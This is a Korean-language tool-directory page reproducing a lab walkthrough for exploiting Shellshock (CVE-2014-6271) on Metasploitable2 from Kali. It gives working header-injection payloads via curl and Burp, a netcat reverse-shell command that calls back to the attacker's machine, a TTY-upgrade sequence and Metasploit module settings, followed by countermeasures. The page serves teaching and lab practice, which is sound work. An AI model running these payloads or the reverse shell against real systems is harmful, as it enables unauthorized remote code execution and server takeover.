Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2014-6271-Shellshock- — CVE-2014-6271 (Shellshock)에 대한 완전하고 현대적인 데모 랩으로, 아키텍처, 악용 단계, Burp Suite 사용, 리버스 셸, 대응 조치 및 전체 명령 치트 시트를 포함합니다. | Kitploit
도구/GitHubGitHub/drhaitham/cve-2014-6271-shellshock-
Vulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & EducationRed Teaming
Payload Development
Labs & Practice
GitHubdrhaitham/cve-2014-6271-shellshock-

CVE-2014-6271-Shellshock-

CVE-2014-6271 (Shellshock)에 대한 완전하고 현대적인 데모 랩으로, 아키텍처, 악용 단계, Burp Suite 사용, 리버스 셸, 대응 조치 및 전체 명령 치트 시트를 포함합니다.

저장소 보기
119개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Shellshock (CVE-2014-6271) 악용: 완전하고 현대적인 데모 연구소

Shellshock(CVE-2014-6271)은 발견된 원격 코드 실행 취약점 중 가장 영향력 있는 것 중 하나입니다. 이 결함은 Bash에 영향을 미치며 공격자가 환경 변수에 조작된 페이로드를 주입하기만 하면 임의의 명령을 실행할 수 있게 합니다.

이 가이드는 다음을 사용한 완전하고 재현 가능한 데모를 제공합니다:

  • Kali Linux (공격자)
  • Metasploitable2 (대상)
  • curl, Burp Suite, Netcat
  • 수동으로 생성된 Bash 기반 CGI 스크립트

교육, 연구, 훈련 및 일반적인 사이버 보안 인식을 위해 설계되었습니다.


📌 목차

  1. 연구실 아키텍처
  2. 취약한 CGI 스크립트 생성
  3. Shellshock 취약점 이해
  4. curl을 이용한 Shellshock 악용
  5. Burp Suite를 이용한 Shellshock 악용
  6. Shellshock을 통한 리버스 셸
  7. 완전 대화형 TTY로 업그레이드
  8. 공격 체인 다이어그램
  9. 스크린샷 갤러리
  10. 대응 방안
  11. 치트 시트 (모든 명령어)
  12. Metasploit을 이용한 Shellshock 악용
  13. 결론

1. 연구실 아키텍처

구성 요소역할OSIP 주소주요 서비스
Kali Linux공격자Kali Linux (최신)192.168.1.4curl, Burp Suite, Netcat
Metasploitable2대상 취약 서버Ubuntu Linux (MSF2)192.168.1.5Apache 2.2, CGI 스크립트, Bash
Apache mod_cgi스크립트 실행MSF2에서 실행n/aCGI를 통해 Bash 노출
shellshock.sh취약한 진입점Bash CGIn/a환경 변수 표시

이 간단한 2노드 설정은 산업 및 IoT 시스템에 여전히 존재하는 많은 레거시 배포를 반영합니다.


2. 취약한 CGI 스크립트 생성

Metasploitable2에서:

sudo su
cd /usr/lib/cgi-bin/

cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF

chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

Kali에서 스크립트 테스트:

curl http://192.168.1.5/cgi-bin/shellshock.sh

환경 변수가 표시되어야 합니다.


3. Shellshock 취약점 이해

Shellshock는 Bash가 함수 정의를 닮은 환경 변수를 잘못 구문 분석할 때 발생합니다.

다음과 같은 악의적인 변수:

() { :; }; /bin/bash -c "id"

는 함수가 실제로 호출되지 않더라도 Bash가 함수 정의 이후의 명령을 실행하게 만듭니다.

CGI 애플리케이션은 HTTP 헤더가 자동으로 환경 변수로 스크립트에 전달되기 때문에 특히 취약합니다.


4. curl을 이용한 Shellshock 악용

curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

출력에는 다음이 포함되어야 합니다:

Vulnerable
uid=33(www-data)

이는 원격 코드 실행을 확인합니다.


5. Burp Suite를 이용한 Shellshock 악용

5.1 일반 요청 보내기

다음 방문:

http://192.168.1.5/cgi-bin/shellshock.sh

요청을 Repeater로 보냅니다.

5.2 Shellshock 페이로드 주입

User-Agent 헤더를 다음으로 교체:

User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"

5.3 응답

다음이 표시되어야 합니다:

BurpTest
uid=33(www-data)

Burp Suite는 시각적이고 교육적인 방식으로 취약점을 확인합니다.


6. Shellshock을 통한 리버스 셸

Kali에서 리스너 시작:

nc -lvnp 4444

CGI 스크립트를 통해 리버스 셸 트리거:

curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

셸이 Kali에 다시 연결됩니다.


7. 완전 대화형 TTY로 업그레이드

리버스 셸 내부에서:

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

세션 일시 중단:

Ctrl + Z

Kali에서:

stty raw -echo; fg

Enter를 누릅니다.

이제 다음이 있습니다:

  • 탭 완성
  • 화살표 키
  • 작업 제어
  • 완전 대화형 Bash

8. 공격 체인 다이어그램

          ┌────────────────────────┐
          │     공격자 (Kali)      │
          │      192.168.1.4       │
          └───────────┬────────────┘
                      │
     1. 악의적인 HTTP 헤더 (Shellshock)
                      │
                      ▼
        ┌──────────────────────────┐
        │ Apache 웹 서버 (CGI)     │
        │     192.168.1.5          │
        └───────────┬──────────────┘
                    │
   2. 헤더 → CGI 환경 변수
                    │
                    ▼
      ┌──────────────────────────┐
      │     Bash (취약함)        │
      └───────────┬──────────────┘
                  │
      3. 주입된 명령 실행
                  │
                  ▼
        ┌─────────────────────────┐
        │  www-data 셸 접근       │
        └───────────┬─────────────┘
                    │
        4. 리버스 셸 → Kali
                    │
                    ▼
      ┌──────────────────────────┐
      │ 완전 대화형 TTY           │
      └──────────────────────────┘

9. 스크린샷 갤러리

공격의 주요 단계에 대한 시각적 워크스루입니다.

설명이미지
Nmap 스캔 + Shellshock 테스트 출력
Burp Suite – 초기 Shellshock 요청
Burp Suite – 페이로드/헤더 주입
Kali에서 리버스 셸 수신 (nc)

10. 대응 방안

✔ 1. Bash 업그레이드

함수 구문 분석을 올바르게 처리하는 버전으로 패치합니다.

✔ 2. CGI 비활성화

레거시 CGI는 불필요한 시스템적 위험을 도입합니다.

✔ 3. HTTP 헤더 정화

다음과 같은 의심스러운 패턴을 제거합니다:

() { :; };

✔ 4. 최소 권한 원칙 사용

웹 서버 사용자(www-data) 권한을 제한합니다.

✔ 5. 아웃바운드 연결 제한

리버스 셸 및 데이터 유출을 차단합니다.

✔ 6. 웹 애플리케이션 방화벽(WAF) 배포

최신 WAF 시그니처는 Shellshock을 즉시 탐지합니다.

✔ 7. SELinux / AppArmor 활성화

Bash 프로세스를 제한하고 의도하지 않은 동작을 차단합니다.

✔ 8. 정기적인 취약점 스캔 실행

다음과 같은 도구 사용:

  • Nessus
  • OpenVAS
  • Nikto
  • Nmap NSE (http-shellshock.nse)

11. 치트 시트 (모든 명령어)

대상 설정

sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart

CGI 테스트

curl http://192.168.1.5/cgi-bin/shellshock.sh

Shellshock 테스트

curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh

리버스 셸

nc -lvnp 4444
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh

완전 TTY로 업그레이드

셸 내부:

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

일시 중단:

Ctrl + Z

Kali에서:

stty raw -echo; fg

Enter를 누릅니다.


12. Metasploit을 이용한 Shellshock 악용 (msfconsole)

Metasploit은 내장 모듈을 사용하여 Shellshock을 악용하는 전문적이고 자동화된 방법을 제공합니다:

exploit/multi/http/apache_mod_cgi_bash_env_exec

이 방법은 빠르고 안정적이며 자동 페이로드 스테이징(예: Meterpreter)을 제공합니다.


12.1 Metasploit 시작

msfconsole

12.2 Shellshock 모듈 검색

search shellshock

다음이 표시되어야 합니다 (다른 것들 중에서):

exploit/multi/http/apache_mod_cgi_bash_env_exec  Apache mod_cgi Bash 환경 변수 코드 인젝션 (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env   Apache mod_cgi Bash 환경 변수 인젝션 (스캐너)

12.3 익스플로잇 모듈 로드

use exploit/multi/http/apache_mod_cgi_bash_env_exec

12.4 필요한 옵션 구성

대상 IP 설정:

set rhosts 192.168.1.5

취약한 CGI 경로 설정:

set targeturi /cgi-bin/shellshock.sh

Kali IP 설정:

set lhost 192.168.1.4

선택적으로 수신 포트 설정:

set lport 4444

확인:

options

다음이 표시되어야 합니다:

도구 다운로드